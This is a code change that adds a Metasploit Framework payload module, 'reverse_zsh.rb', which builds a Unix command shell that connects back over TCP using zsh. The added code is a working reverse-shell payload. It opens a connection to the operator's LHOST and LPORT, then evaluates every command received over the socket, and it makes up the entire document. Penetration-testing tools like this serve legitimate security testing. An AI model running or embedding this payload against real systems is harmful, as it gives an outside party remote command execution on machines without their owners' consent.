Add module for reverse zsh payload

For #1985

modules/payloads/singles/cmd/unix/reverse_zsh.rb

@@ -0,0 +1,48 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+	include Msf::Payload::Single
+	include Msf::Sessions::CommandShellOptions
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'        => 'Unix Command Shell, Reverse TCP (via Zsh)',
+			'Description' => %q{
+				Connect back and create a command shell via Zsh.  Note: Although Zsh is often
+				available, please be aware it isn't usually installed by default.
+			},
+			'Author'      => 'Doug Prostko <dougtko[at]gmail.com>',
+			'License'     => MSF_LICENSE,
+			'Platform'    => 'unix',
+			'Arch'        => ARCH_CMD,
+			'Handler'     => Msf::Handler::ReverseTcp,
+			'Session'     => Msf::Sessions::CommandShell,
+			'PayloadType' => 'cmd',
+			'RequiredCmd' => 'zsh',
+			'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
+		))
+	end
+
+	def generate
+		return super + command_string
+	end
+
+	def command_string
+		cmd = "zmodload zsh/net/tcp;"
+		cmd << "ztcp #{datastore['LHOST']} #{datastore['LPORT']};"
+		cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;"
+		cmd << "ztcp -c"
+		cmd
+	end
+end